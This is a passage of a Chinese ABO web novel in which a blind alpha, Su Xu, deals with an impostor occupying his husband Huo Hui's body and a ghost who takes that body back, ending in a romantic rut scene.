这个刚产生自我意识没多久的魂体好像发现了极其感兴趣的玩具,寸步不离地跟着苏序行动,他注意力高度集中,和苏序动作保持一致,想要永远待在他的身体里面。 阴气森森的男鬼缠着他,苏序无知无觉,只觉得身上发冷,脸颊的绯色愈发重了,突然打了个喷嚏,眼睛晕出水雾。 湿漉漉的头发垂在肩后,坐起来后,水珠顺应重力沿着修长脖颈滚入衣领,把皮肤都浸得水淋淋的,刷了层釉一般。 他抓了抓头发,把冷的原因归结于没吹头发。 他正要凭借记忆去找吹风机,门就被敲响了。 “睡了吗,小序。”门外的声音醇厚,带着点笑意。 “霍回”站在门口,望眼欲穿地往里看,好像能透视这门看见里面的景象。 他凑近,想透过门缝往里看,门就被从里面拉开了。 苏序站在门口,浓密睫毛下灰暗无神的眸子,乍一眼像是没有生命的洋娃娃:“阿回?” “找我有事吗?”他没听见回应,又往前走了一步。 一瞬间两人之间的距离变得很近,“霍回”呼吸骤然急促起来,看着面前人放大的精致诱人的脸,水汽潮湿,鼻尖透着粉红。 沐浴后的香气无孔不入地钻进他的身体里,以及从身体里散发出来的、若有似无的融雪气味信息素,无时无刻不在引诱着这个男人。 温柔漂亮的心上人毫无防备地看着自己,他被勾得意乱神迷,alpha骨子里的占有欲蠢蠢欲动,□□集中到了下半身,烧得极旺。 “霍回”侵略性的视线流连在他的唇上,柔软红嫩的唇,唇肉饱满,一颗缀着的唇珠亟待人去裹咬开发。 他被空气中的气味勾着诱着,低头去追逐他的唇,妄图像猎物捕猎般咬住饱满的唇珠。 然而在即将成功的那一瞬间,一阵森冷入骨的冷风刮过两人之间,苏序往后退了一步,正正好躲过了这一下。 他被冻得瑟缩了下,抬手环抱住自己,好像又到冬天了。 “霍回”的吻落了空,他动作一僵,回神,暗恼自己定力怎么这么差,差点就用了这具身体亲了苏序了! 他从来到这个世界接受任务后,就没有和苏序睡过一张床,理所当然地觉得苏序和这具身体的原主人也没有过亲密接触。苏序在他眼里就是纯白的茉莉花,温柔,体贴,善解人意,不容亵渎。 等他提交任务得到奖励,回到自己的身体里,那时候,苏序厌烦了霍回,一定会扑进他的怀抱里。到时候苏序完完全全都是属于他的。 “霍回”脑补得很爽,看着苏序的眼神愈发柔情,流淌出了几分风流,他刚朝苏序伸出手,那股阴冷的风却像是跟着他一样,飕飕得往他骨头缝里钻,手臂好像一瞬间放进了冰窖,冻得他麻木了一瞬,连忙把手缩了回去。 手上温度又恢复了正常,就像刚才的只是错觉一般。 “小序,你易感期快到了吗?” 霍回心中疑惑,却以为这只是苏序易感期来之前控制不住信息素。 苏序眼睫抖了下:“嗯。” alpha的易感期是三个月来一次,一次来的时间6到15天不等。苏序每次都把自己锁在房间里度过,霍回没见过苏序失控的模样,他每次看见的都是脸上带着温柔笑意的他。 苏序脸颊白皙中泛着绯色,像朵含羞带放的玫瑰花,霍回心神荡漾,好了伤疤忘了疼,又想伸手去碰他的脸了,即将触碰之时,足以冻僵人的冷意窜上手臂,要把血液也冻僵,冻得让人分不清冷与热,他即刻缩回了手,那种感觉消失了。 他这次终于老实了,不动手动脚了,眼神却还含情脉脉看着苏序:“我明天要去参加一个宴会,鱼元嘉死活要跟我一起去,你知道的,我们的婚事没有公开,他要是和我去了……” 他点到为止,故意看着苏序的脸色。 苏序紧张地厉声回道:“他不能和你一起去!” 他眼睛睁大了,透着一股神经质的紧绷,好像脑子里绷着一根随时会断的弦。 “霍回”一面满意他在意自己、为自己吃醋的反应,另一面又希望等自己用回自己身体,他还能这么爱自己。 他已经和系统确认过了,等他走后,这具身体会被AI程序接管,到时候苏序面对的是一个伤他很深,还只会吐露人机话的傻x机器人。他就不信,苏序会放着悉心问候的他不选,去选这么一个没有自主思考能力的AI。 至于原主的灵魂?早在他进来接管身体的那一刻就被驱散出去了,除非有着强到可怕的执念与对这个世界的留念,不然强行赖着不走的话,立马就会魂飞魄散。——而这种可能性不超过0.3%。 三年了,如果速度快点,说不定原来那个霍回已经去转世投胎了。当然,如果是魂飞魄散了更好,和苏序再也没有可能了。 “霍回”唇角勾起一抹笑,那张正气凛然的脸被他用得风流又轻浮,完全是个多情浪荡子:“那小序能不能帮我在宴会那天,拖住鱼元嘉,我会把他约到家里,你和他说说话就好。” “好,”苏序脸上漾起柔和的笑,他无神的眼睛只能看着前面,“我们的婚事,总有一天会公布的。” “宝宝,你怎么这么好?”“霍回”感动地说,但他心里巴不得永远都不公布。 “因为阿回的身边不能出现别人。”苏序的嗓音像柔软的蛇悄然爬上人的皮肤,收紧人的脖颈,让人汗毛直立,神态是一种足以让人溺毙的柔软,“我不喜欢不干净的东西。” “霍回”却把这理解成了对自己的爱,油然而生一种幸福感,他庆幸自己在做任务的时候没有和那些人发生过于亲密的举动,完美符合苏序的要求。 他愉悦地承诺:“我当然会为宝宝守身如玉的。” 作者有话说: 新年快乐呀宝宝酱 新的一年恭喜发财,天天开心,吃嘛嘛香!! 第37章 Chapter3[VIP] 宴会当天, “霍回”像自己计划的那样约来了鱼元嘉。 娇生惯养的omega浑身上下透露着种被金钱滋润出来的骄纵,进门之后鼻孔朝天地打量着房子里面。 这是他第二次来这里了,上一次他来找霍回, 没想到霍回不在,反而是联邦那位总督和个他不认识的人在房子里。 以鱼家的地位与底蕴, 他不需要多么客气, 只是站在门口,开门见山地问霍回呢。 听到他的来意,那位总督脸色一瞬间变得很差,三言两语间,他才知道沙发上坐着的那位是霍回的丈夫。 结婚了? 鱼元嘉对于霍回隐瞒自己已婚这点有些不满, 但同时被激起的还有几分好胜心,房子里的人安静坐着, 不紧不慢地喝了口茶, 宁静又温柔, 肤白胜雪。 他站在玄关处看不太清,但从气质上也能模糊感觉到那是个美人。 对于霍回和这么个大美人结婚了还来勾搭自己, 鱼元嘉感到几分得意, 傲慢地想, 估计就是个除了脸一无是处的人了, 性格估计也很无趣。 他想要走近几步,仔细看看霍回原配, 就被总督拦住了脚步。总督那张脸都气得变红了,把他往里探究的视线挡得严严实实。 …… 鱼元嘉本来以为这次能仔细看看他那位原配的, 没想到左看看右看看都没找着人影。 他双手环抱, 朝霍回轻抬下巴:“走吧。” “霍回”扫了眼紧闭的门,苏序还没出来。他扬起抹笑, 对于应付这位小少爷感到不耐烦,但还没提交任务之前还是得虚与委蛇:“有件事忘记说了……” “哐嚓——”苏序房间里传来了有什么东西被撞到,在地上砸碎的声音。 “霍回”嗖的一下站了起来,一脸紧张,鱼元嘉想伸手抓住他,却抓了个空,看着他大步走到了门口,“砰砰砰”敲响了门。 “小序?小序!发生什么了吗?” 里面没有回应。 鱼元嘉皱眉,不满他忽视自己的表现。 “霍回”却无暇顾及他了,又敲了几声门,还是没听见回应,便在脑子里呼唤系统,拿积分兑换了钥匙,着急地打开门。 房间里昏暗无光,装花的瓷瓶打碎在了地上,瓷器碎片零散四处,地板上水蔓延流淌,混合着鲜红的血液。 苏序倒在地上,呼吸有些急促。 “霍回”大步走过去,把他从地上抱了起来,苏序靠在他宽阔的胸膛,眉毛轻蹙。 男人抓着他的手看,掌心被碎片划出了一道口子,鲜血从中涌出,汇进地上养花的水里。 “不小心碰倒了,我只是想收拾一下……”苏序疼得额间沁出冷汗,说话间不自禁吸着冷气,眼睛雾蒙蒙的,萦绕着种易碎的脆弱感。 “霍回”心疼得不行,向系统兑换了疗伤效用极强的药粉,小心翼翼地倒在了他流血的掌心,又装模作样地包了纱布。 掌心剧烈的疼痛一瞬间消失得无影无踪,苏序眼睛很轻地眯了下,心里的猜测落实了。 怪不得这些年来他给这人下毒、捅刀子都死不了,果然是有超自然的能力。 但他没有显现出任何端倪,依旧把头埋在对方胸口,姿态显出一种依赖与信任。 “咳咳。” 被忽略了个彻底的鱼元嘉发出声响,他当着苏序的面,故意说:“你刚刚要和我说什么?” 他挑衅地看着苏序,但看着对方的模样,心里觉得有些不对劲。 苏序微微侧头,似乎是在靠声音辨认:“是上次的客人吗?” 无神空洞的眼睛,试探性迈开的步子,以及“霍回”紧张地扶着他,关切且不放心的目光。 鱼元嘉眉头轻挑,心中明了,原来是个瞎子啊。 他轻嗤了一声,傲慢地自我介绍:“我是鱼元嘉。” 他上下打量着, “鱼元嘉。”苏序轻轻念了一遍,咬字清晰,鱼元嘉突然感觉耳朵有点痒,不自然地摸了摸耳朵。 “今天可以邀请你在家里玩吗?”苏序弯起眼,嗓音温柔,长发柔和地搭在肩上。 邀请他? 大概只是为了宣示主权吧。鱼元嘉怔了下,旋即恢复了傲慢的神情,刚想说话,就见“霍回”抓着那人的手,低声道:“我不放心。” 鱼元嘉一瞬间就不乐意了。霍回讨好他、对他百依百顺的时候可不是这样的,现在到了原配面前,给他演什么伉俪情深啊?? 他被这么一激,脑子里哪里还有什么宴会,满心满眼都是要拆穿他们恩爱的假象:“好啊!” 鱼元嘉笑起来,挑衅地看向苏序:“既然你诚心诚意邀请我了,那我就留下来。” * 鱼元嘉从小到大都没有过无所适从的感觉,到哪里都被人捧着,今天在这里居然感觉到了一点拘束。 桌上摆着坚果,苏序让家里的阿姨做了生巧麻薯蛋糕,制作精致,味道也很不错,鱼元嘉不小心就多吃了两口。 苏序讲话温温柔柔的,长发被他拢起扎了个低马尾,显出几分温婉。 太不对劲了!以他们两个人现在的身份,是能够这样和平相处的吗? 鱼元嘉吃了两口甜品,想要说上几句挑衅的话,苏序就推来了茶。 “甜品是不是有点腻?要不要喝口茶?”苏序脸上漾着笑,抬起了手,似乎是想摸摸他的头,但辨不清方位,抿了下唇,又收回了手。 不知道为什么,鱼元嘉产生了种很奇怪的感觉,苏序好像把他当成了小孩。他们不该是情敌关系吗! 鱼元嘉迅速回忆起自己的初心,让自己不要落入甜蜜的陷阱里,清了清嗓子:“你和霍回是怎么认识的?” 苏序弯唇笑了下,没有想多说的意思:“高中的时候认识的。” 他简短的话让鱼元嘉十分不满,他想要知道更多的信息,知己知彼方能百战不殆:“还有呢?” 他坐近了点,不想错过了解情敌的机会,但这么一靠近,他能闻到一股淡淡的融雪气味,很清新。鱼元嘉尚还没有意识到这是什么味道,只是本能地觉得好闻,下意识又往苏序身边凑了凑,就被一只手阻拦了动作。 纤长素白,艺术品一样漂亮的手,从边上搭在了他的手臂上,然后顺着手臂爬上了肩,把他往后面推了推,鱼元嘉脸突然红了起来,呼吸迟缓几分。 “你还想听什么?”苏序嗓音温柔,笑着问他。 鱼元嘉像被洪水猛兽碰了似的,猛地往后退了一大截,他色厉内荏,结结巴巴地说:“我……我就是想说,霍回一直特别照顾我,约会的时候从来不让我多动一根手指头,把我伺候得可好了。” 他以为自己这样说了,苏序一定会生气的,没想到苏序却弯着眸子,带着点怀念的语气:“阿回确实很体贴。” 他想起了一些回忆,涌上了点分享欲,灰暗的眸子好像都重新燃起了点光:“他以前有点笨,不爱说话,那时候我就喜欢给他买衣服,看他穿上不同的衣服,我就很开心。” 鱼元嘉是存了炫耀的目的说的这话,但苏序却是说的他对霍回的好。鱼元嘉不免在心里吐槽,这人咋这么傻。 他先前也听到过霍回在爬到今天这个地位前,其实就是个下城区的孤儿,来上城区最好的学校报道的时候还穿着身破旧的、洗的发白的衣服。和现在简直就是截然不同。 鱼元嘉认识的霍回是个成熟又风趣幽默的alpha,比其他那些大家族的alpha靠谱又稳重多了,因此一直对霍回有滤镜,将他视为最佳丈夫人选。 如今一听这话,瞬间对霍回的观感差了些,原来当初完全是靠苏序接济的啊。 他还是不知道苏序的身份,只觉得是个白富美omega,现在看来还十分恋爱脑。 苏序想起来以前霍回给他做人体模特时局促又紧张的模样,有时候连身体反应都隐藏不住,但还是乖乖硬/挺着让他画。 他唇角不禁溢出笑,但这落在鱼元嘉眼里就更加印证了他是个恋爱脑。 虽然苏序确实是个很温柔的人,鱼元嘉犹豫地看着他含笑的脸庞,最后还是坚定了下来,他被宠得无法无天,道德感薄弱,迅速战胜了抢人丈夫的负罪感。 对不起了,他真的不想嫁给那些无聊又自以为是的alpha,短时间内,他找不到更适合的丈夫人选了。 …… 苏序打了个哈欠,鱼元嘉便殷切地问他,是不是困了想休息了。 苏序表示那样会不会不太礼貌,鱼元嘉便立马摇头,说那怎么会,等他睡着了他就走了,没事的。 闻言,苏序便站起身,鱼元嘉适时伸手扶住了他肩膀,并不觉得这样的身体接触有什么问题,大家都是o,虽然这人温柔得让他有点脸红心跳,但oo之间是没有可能的。 “抱歉,在家里待的时间太长了,就经常没什么精神。”苏序被他扶着走回了房间。 他比鱼元嘉高出了半个头,鱼元嘉只在心里感叹一句,这个小o长得也太高了吧,便继续做着伺候他的工作,完全忘记了自己多么养尊处优。 苏序坐在了床上,柔声和他聊着天。 鱼元嘉仗着他看不见,开了灯,在敞亮明亮的房间里四处打量着。 房间里放了不少相片,里面的主人公都是苏序和霍回。苏序脸上总是挂着温柔幸福的笑,而一旁的霍回总板着脸,一脸严肃,手却总是揽在他的腰上,两人之间的氛围亲昵又和谐。 鱼元嘉看着这些记录曾经幸福回忆的相片,有点为苏序不值得,但又很自洽地在心里想,等他和霍回结婚了,也算是帮苏序脱离火海了,功劳一桩。 看着看着,他突然视线一滞,扯住了那个藏在夹缝中的相框。 相框里是一张黑白照,主人公是穿着军装的霍回,男人正气凛然,右下角写好了日期,末日期是三年前。 遗照。死、死了? 鱼元嘉血液一凉,被吓得冷气从脊背直窜天灵盖。 “在找什么吗?”柔声轻气的。 鱼元嘉猛地扭头,苏序不知道什么时候站在了自己身后,他瑟缩一瞬,往后退,背直直撞上了相框架。 作者有话说: 温柔攻势根本抵抗不住 第38章 Chapter4[VIP] 苏序迈开了步子, 由于看不见,他的步子很缓很慢,无神的眸子没有聚焦地望着前方, 鱼元嘉却感到一种毛骨悚然的压迫感,他手里还拿着那个黑白照片相框, 慌乱地背至了身后。 “我、我我……”鱼元嘉也不知道自己在心虚什么, 他胆子小,真的有点被吓到了,转过身就想从空隙逃出去,没想到刚迈出一步,就被一只手揽住了腰。 苏序不知道他们之间的距离, 但鱼元嘉清清楚楚看着他放大的脸,苏序的脸漂亮得让他一个omega都脸红心跳, 又结巴道:“你、你你……” 他“你”不出个所以然来。 苏序很快收回了手, 弯唇道:“走路慢些。” 鱼元嘉意识到他是听见自己后背撞上木架的声响, 在安抚自己。 苏序继续问:“刚刚撞疼了吗?” 鱼元嘉下意识摇摇头,但突然又想起来他看不见, 连忙大声喊了句“不疼!” 他红着脸, 轻轻一呼吸, 鼻尖就能嗅到清新的、令人着迷的融雪气息。但他还是忍不住怀疑道:“你怎么确定我在这里的……?” 苏序表情微微怔愣一瞬, 伸手碰了碰自己的眼睛,具象化的难过从他的动作里流露出来, 鱼元嘉都忍不住揪心了,伸手想安慰他, 但他弯唇笑了笑, 开着玩笑:“瞎得久了,听力就变得敏锐了。” 鱼元嘉张了张嘴:“我……对不起。” “没关系, ”苏序慢吞吞地握住了他的手腕,隔着衣服布料,拉着他坐在了床上,“当时也是意外。我哥说,联邦的技术发展得很快,说不定过不了多久,我的视力就能恢复了。” 眼睛是当初造成的永久性不可逆创伤,即便是他哥能请来的最好的医疗团队也说除了换上机械义眼外,没有能够恢复如初的办法。 现在的科技下,机械义眼也能够模拟视物效果,提供视觉作用。 苏自明说那也行,苏序却立马否决了。 他看起来柔和又柔软,但实际上犟得不行,苏自明拗不过他,气得脑袋快要冒烟,没忍住说了戳人心肝的话,问他看不见了还怎么画画,难道要做一辈子盲人,就这么放弃自己热爱的事业吗?! 那时候的苏序闻言怔怔地坐在病床上,双眼蒙着纱布,苍白的皮肤都能透出青紫的血管,脆弱得好像声音大点就能把他摧毁。 苏自明看着他脸上空洞的神色,意识到自己说了混账话,立马又去道歉,慌到六神无主了,又开始求求他接受治疗,他希望他能够好起来。 苏序很快缓了过来,他看上去比苏自明还要冷静,等到苏自明的情绪稳定下来了,他才开口:“我不要机械义眼,我要他的眼睛。” 他垂着眸,眼睫漆黑浓密,嗓音轻柔又缓,不像是在开玩笑。 苏自明不解:“谁的?” “害我看不见的人。” 语气轻飘飘的,却透着一股笃定。 …… 鱼家的主要成员基本都在从事医疗技术领域,成就很高,受人尊敬。 鱼元嘉一听这话,立马信誓旦旦地说:“我知道这项技术,其实已经在小白鼠身上做过实验了,效果很好,等这项技术成熟了,你就能看得见了!” 他看到苏序脸上柔和的笑,脸通红,想着回去一定要问问这项技术进行得怎么样了。 苏序这么温柔大度,关心自己,鱼元嘉发自内心地有些愧疚心虚,连忙去收拾被自己撞倒到地上的相框,视线一扫,突然瞥到了那张黑白照,身上不免毛毛的。 他不敢多看,把照片塞到了角落里,忍不住问道:“那个……黑白照……?” “纪念一下,”苏序回答得很快,脸上显出几分怀念,“他当时才刚升中将没多久,还很青涩。拍照的时候他还很害羞,不让我拍,当时我还想画……” 他声音突然顿住,笑意一僵,垂眸,没再说话了。 鱼元嘉没听出他的不自然,眨了下眼睛,信了这个解释:“哦……” 苏序看起来真的很爱霍回。那他…… 他是不是不该拆散他们,但他要是再找不到合适的结婚对象,就要被他父母拉去见其他家族的alpha了。 那些alpha无趣又大alpha主义,鱼元嘉见一眼都嫌心烦。霍回风趣幽默又体贴,已经是他认为最合适的结婚人选了。 鱼元嘉一副神游的模样,呆愣地看着苏序那张漂亮又含笑的温柔脸庞,听着他如沐春风的声音,不禁想,如果苏序是alpha就好了。 门突然被从外面敲响,进来的是“霍回”。 苏序和鱼元嘉同时抬眼看过去。 他微微挑眉,似乎有些惊讶,“你们看起来聊的很开心。” 鱼元嘉的视线从苏序身上转移到“霍回”那张风流的脸上,突然觉得把自己迷得七荤八素的这人竟然也不过如此了。 心底里还生出了几分不屑与下头,鱼元嘉本身就不是什么很笨的人,清醒下来一想,“霍回”让他和苏序共处一室的目的显而易见了。不就是想看他们扯头花,自己则是隔岸观火。 呵,可笑的alpha。 “霍回”则完全没看出鱼元嘉脸上表情的微妙变化,他满心满眼都是苏序,想要从他平静的脸上窥出一点对“霍回”这个人的失望出来。 然而他失败了。 苏序站起身,弯着眸,道:“阿回,你回来了。” 这么一个大美人面露欢喜地迎接自己回来,任谁都能乐出声。但“霍回”心里却是五味杂陈,刚生出一点喜悦,就想起这份期待是对霍回,而非对他的。愤怒和嫉妒就立马压倒了那一点零星的喜悦。 “霍回”脸上僵硬的神情苏序看不见,鱼元嘉却看得一清二楚,他心里的下头更甚,愈发为苏序不值得。 他一定要帮苏序脱离苦海! “霍回”和鱼元嘉心思各异地走了出去,苏序不在场后,他们便能花更多心思隐藏自己的微表情,装出一副和之前无异的表情虚与委蛇。 苏序坐在床上,脸上的笑一点点消失,恢复到了面无表情的神色。 安静到呼吸声都十分清晰的环境里,一种压抑感扑面而来。 “阿回,”苏序自言自语,“你什么时候能回来?” 他眼睫轻轻地颤动,好像颤一下就能掉下几颗珍珠眼泪下来。 他身边待着一只透明的男鬼,好不容易看着他身边的碍眼的人走掉了,想要享受和他单独相处的时光,就看见他好像要哭了一样。 他不理解漂亮人类此时的情绪,但不知为何,也跟着心痛。他想要伸手触碰人类湿润的眼睛,但在触碰的那一瞬间,却感受到了实感。 男鬼脸上迸出惊喜的神情,和他神色截然相反的是苏序的。 苏序收敛了所有脆弱的情绪,身体所有肌肉紧绷,警惕地道:“谁!” 作者有话说: 今天有点点少,窝先批评下窝自己 第39章 Chapter5[VIP] 苏序神情警惕, 视线一片黑暗,无法视物,加剧了未知带来的恐惧感。 “谁?”他再次出声, 寂静的空间里没有声音回应他,他手撑在床上, 翻身想要立马穿鞋下床, 脚踝就被冰凉的触感环住了,就像是有人握住了他的脚踝一样。 苏序眼睛骤然睁大,整个人都僵住不动,这时候脸颊突然扑上一点寒凉冷气,像极了人凑近时的吐息, 但人呼出的气是热的。 他好像被人拥入了怀里。 那人虚抱着他,脸上寒凉的冷气从脸颊一点点移动到嘴唇, 又移动到下颌, 简直就像是在细细嗅闻着他的气味, 像大型犬类。 “……阿回?”苏序试探性地开口,眼睫颤动, 眼睛湿漉漉的, 像是蓄了汪水, “是阿回吗?” 他竭力让声音显得正常一点, 但还是隐藏不住声线的颤抖,夹杂着显而易见的惊喜与不可置信。 殷红的嘴唇被冰凉的手指用力擦过, 旋即那根手指就要离开,情急之下, 苏序张嘴轻轻咬住了。 男鬼动作一顿, 低下眸,他苍白的手指被对方红润的唇含着, 牙齿轻轻咬着,滚烫的水珠接二连三地往下掉落,穿过了他透明的手,砸在了床上,浸出深色水渍。 他着急地想要接住,但他能碰到苏序,却碰不到他的眼泪。 “阿回,是你对不对?”苏序的嗓音浸了太重的情绪,光是听着就让人心碎得厉害。 男鬼张了张嘴,想要学着苏序说话的样子发声,但喉咙震动,只能发出“吼吼”的无实意声音。 他眼睛一眨不眨看着苏序,不断地发出声音,像只急躁的野兽,急得团团转,却始终没办法让苏序听见自己的声音。 “吼吼!!” 苏序突然抬起了眸,喉咙震动发出的噪音戛然而止,男鬼呆呆地看着,咽了下口水。 面前的alpha脖颈上覆了层晶莹的、蜜似的汗,抬起眸子,漆黑睫毛从根部濡湿,沾湿成了一绺一绺的,灰色的眸子像被水洗过一般,湿淋淋的,我见犹怜。 他伸出手,慢吞吞地触碰到了这个看不见的生物,脸上没有出现任何害怕或是恐惧的神情,仔细看去,眸子里竟然有几分幸福。 他回抱住了这个未知身份的男鬼,熟练地把头埋进了他的颈窝,依恋地收紧了双臂。 紧绷的情绪终于有了出口,苏序声音带了哭腔,沙哑地说:“我好想你,阿回。” * 【魅力值-1-1-1……警告,宿主任务即将失败,请尽快提交任务。警告,警告!!】 “霍回”刚给苏序做好了早餐,满意地看着盘子里的爱心煎蛋和三明治,再摆上一杯温度适宜的牛奶,心想,苏序一定会喜欢的。 就在这时,脑子里骤然拉起了刺耳的警告声,炸了他一个措不及防:【什么情况?!】 【鱼元嘉对宿主好感不断下降中,魅力值即将跌至不合格,不合格将会导致任务失败,会有惩罚,请宿主快速脱离世界。经评估,将对宿主进行强制脱离。十、九……】 【等等——】“霍回”看向苏序的房间,他眼里燃烧着浓重的不甘心,他的计划还有很多未进行的部分,他还没有让苏序对他失望,【我走了之后……】 他脑子一团乱麻。 系统音在脑海里平直响起:【宿主离开后,将由AI接管“霍回”身体,宿主不必担心。】 “霍回”并不是担心这个。 他在心底愤骂着坏事的鱼元嘉,快步跑到了苏序房门前,急速地敲打着门,他想在离开前,至少再看苏序一眼。 …… “砰砰砰!!”门被剧烈地敲打着,像是下一秒就能被撞开似的。 苏序茫然地抬起头,镜子里倒映着一张漂亮到像是精致假人的脸,双眼无神,水珠顺着重力蜿蜒流下。 他只眨了下眼睛,就忽略了门外火烧火燎的动静,并不在乎对方敲门是不是有什么急事,继续慢条斯理地用毛巾擦干净了脸上的水珠。 由于眼盲的缘故,他做事不紧不慢,半晌,才趿拉着毛绒拖鞋去开门。 他脸上扬起一抹温柔的笑:“找我吗?” 白色的高领宽松毛衣穿在身上,衬的他整个人更加出尘不染了,俨然就是精美的瓷器。 然而他看不见的是,面前的男人表情十分诡异地变化着,从僵直刻板的神情骤然间变得痛苦疼痛,又突然扯出笑。这么不断变化着,仿佛身体内有两个灵魂在争夺控制权。 最后定格在了餍足和心满意足,俨然像是个正常人了。 男鬼毫不留情地把这个身体里的数据撕了个粉碎,成功入住了这个身体。他举起手,不太熟练地控制着这具身体,触碰着苏序的脸,温热的体温通过手指传递给了他。 他欣喜若狂,连忙张合嘴巴,想要像苏序一样说话:“宝……宝宝……” 他记得原来这个人就是这样叫苏序的。 他飘在苏序身边时,每天都看着那个人这样喊苏序,然后苏序就会露出那种很漂亮很令人心醉的笑。他嫉妒极了,他也想苏序这样对他笑。 霍回一遍遍喊着宝宝,就像是刚学会说话的小孩,只会不断地重复一个词。眼睛目不转睛看着苏序的表情,只要苏序露出一个笑,他就会像是得到了莫大奖励一样荣幸。 苏序的脸上果然露出了温柔的笑,弯起眸子,慢慢地伸出手,触碰到他,然后摸到他的头发。 霍回下意识地俯下身子,更加方便他摸自己的头。 “阿回……”苏序敏锐地察觉到变化,他脸上的笑多了几分实意,手下的人主动把头伸给他摸,“阿回,你是不是……” 他顿了一下,轻轻抿了下唇,没有把这句话说完,千言万语汇成一句:“见到你好开心。” “我,也,”霍回的语言系统还不太完善,说话像是牙牙学语,一个字一顿,“好,开,心。开心!” 苏序环住他的腰,被一种熟悉感包裹着,下意识地忽略了一些奇怪的地方。满心满眼只剩一个念头,阿回回来了! 霍回也受宠若惊地抱住他,这个身体真好,苏序会主动抱他,会摸他的头,会对他温柔地笑。还好,这些都属于他了,不再属于上一个人了。 他忍不住继续用自己刚学到的词表达喜悦:“好开心,开心,小序。” 苏序在听见“小序”这个称呼时,脸上的笑一扫而尽,简直被当头泼了一盆冷水,从头到脚被淋得透心凉。 不知道他哪里来的这么大力气,他猛地伸手将霍回推开了,自己也往后退了几步,面无表情地看着霍回,眼睛没有高光,漂亮的脸上攀上了点神经质的紧绷,好像下一秒绷紧的弦就会由于各种因素骤然断开。 他一语不发,反而显得更加瘆人了。 “小,序。”霍回茫然地看着自己空落落的怀抱,往前走去,嘴里喊着这个他觉得有些别扭的称呼。他不知道为什么苏序变得这么快,但还是朝他走近。 他身材高大,在战场上磨砺出一身戾气威严,和苏序站在一起,显得苏序像是很容易被抱起来的、漂亮脆弱的人偶,但此时两人的地位却是完全颠倒的。 霍回犹豫着往前的脚步,小心翼翼观察着苏序的神情,完全就像一只可怜的落水狗,不明白主人为什么突然对自己弃若敝履,但还是懵懂地、依恋地看着苏序,想要和他亲近。 苏序摇着头,自言自语着:“也不是……”阿回一直是叫他序序的,十年来都是这么叫的。 他一低头,眼泪就跟玻璃珠子一样往下砸,地板被水渍晕开。 同时间,浓郁的融雪气味爆发,冷气像是锋利、无孔不入的刀子,刺得人骨头都冰冷无比。 他易感期提前来了。 alpha之间的信息素是相冲的,苏序陷进了不理智的易感期里,信息素更是不断攻击着霍回。 霍回却像一座岿然不动的大山,沉默地矗立在原地,除了轻微的皱眉动作外,再看不出一点不适。他伸出手,滚烫的眼泪就砸在了他的掌心。 眼泪被他接住了,摊开的手布着茧子,掌心的纹路被清澈的眼泪浸泡。 “对、对不起。”他笨拙地道歉,尽管他也不知道自己错在了哪里。但是苏序哭了,还哭得这么可怜,那一定就是他哪里做的不够好。 他伸手想要去擦苏序的眼睛,却被失去理智的人一把抓住,泄愤般地咬住了。 牙齿深深嵌进肉里,溢出血珠,手掌因疼痛而轻微颤动着,但霍回却没有任何挣扎,他甚至还担心把苏序的牙硌疼了。他走神地看着苏序脸侧垂下的头发搔着他的手腕,搔得他手腕痒痒的。 霍回耳垂红了,觉得他们现在好暧昧。 等苏序咬累了,他无所谓地垂下了那只血水淋漓、血肉模糊的手,又用那只健康的手仔细检查苏序的牙齿。 他的手很糙,苏序是需要被呵护的。霍回垂眸仔细看着,确认苏序的牙完好无损,中途还被苏序抓着机会咬了几口,手上留下了几个清晰的牙印。 老婆的牙印,男人的勋章。 霍回心里有点高兴。 苏序咬了他,却还抱着他,脸侧乖巧地贴在他胸上,小猫吸猫薄荷一样,汲取着熟悉的气味。 他潜意识里还是依赖着霍回,易感期让他心里堵着一团燃烧的火,无法疏解出来,他难受得额前都沁出细汗,蹭着霍回,嘴巴去找后颈的腺体。 他要标记!要标记阿回! 苏序脑子里只剩下这一个念头,嘴巴叼着后颈旁边的一块肉,吮吸了下,伸出的舌粉红一截。 霍回的信息素是刺激的硝烟味,不断地从腺体里冒出来,并不是omega那样温柔甜腻的味道。苏序皱起眉,舔着他后颈那块皮肤,却不去舔他的腺体,他抗拒着同为alpha的信息素,此时找不到让自己舒服的气味,无比难受。 霍回意识到了他是在找可匹配的信息素,忽地脑子里闪过了什么,血肉模糊的手用力揽起他的双膝,把他抱在怀里,凭着本能回到了他的房间,在抽屉里隐秘角落翻找出了一个药箱,里面备着十管药剂。 苏序在他怀里不听话地挣扎着,霍回一只手把他稳稳抱在怀里,另一只手拿起一管药剂,凭借那股不知道从哪里遗留下来的本能,扎进了自己脖颈,拇指推动注射器。 药剂全部被注入了体内,发挥作用,霍回身体一阵不稳,伸手抓住了桌子,一股热意在五脏六腑里撞着,他外表的皮肤也漫上了绯红。 空气中的硝烟味逐渐消失不见,与融雪味相撞的取而代之是另一个果香味。 是葡萄气味,在omega身上更常见的一种信息素,此时却源源不断地从霍回的腺体里涌出来。 苏序终于嗅到了他想要的信息素,眼尾一片嫣红,蓄着水光,凭着本能咬上了他的腺体,舔舐着那块敏/感的皮肤。 两人一同倒在了床上。 作者有话说: 来啦来啦~ 第40章 Chapter6[VIP] alpha在处于易感期的阶段时, 理智会被冲动压倒,内心最深处的欲/望会毫无遮挡地显露出来。 苏序即便长了张再漂亮柔和的脸蛋,平时表现出来的性格多么温柔体贴, 但他毕竟是个alpha,平日里隐藏得很深的占有欲和掌控欲在这一刻全然倾泻出来。 他张嘴衔住了霍回的腺体, 强势地把自己的信息素往里注入, 葡萄味的信息素。 他感受到身下的人身体在颤,于是暂停了注入信息素的动作,伸舌轻柔地舔了舔,出声道:“很疼吗?阿回?” 霍回脸色苍白,药物强制逆转身体里的信息素的副作用很大, 疼得他咬紧牙关,都会不可避免地溢出牙齿碰撞的“咯吱”声。 苏序看不见他的神色, 但能感觉到对方身体轻颤的幅度。他眉间轻蹙, 滚烫的吻轻飘飘地一个接一个落在霍回身上, 似是一种安抚,他轻声又唤道:“阿回?” “我没事。”霍回抗过了身体本能的排异反应, 疼得苍白的肤色因为苏序的吻重新又变得热烫起来, 浑身上下的每一个细胞都叫嚣着想要触碰苏序。 他偏过头, 急不可耐地亲住了苏序, 冒出的第一个想法是,果然和他想象的一样, 嘴巴好软。他用力吮吸着苏序的舌头,发出啧啧的暧昧声响。 甜腻的葡萄味和清新的融雪味在空气中融合交织, 像是冰冻葡萄。 霍回嗅闻着空气中陌生的葡萄味信息素, 看着苏序意乱情迷的神情,心里莫名生出几分堵塞的情绪, 好像堵了一团棉花,难受的紧。 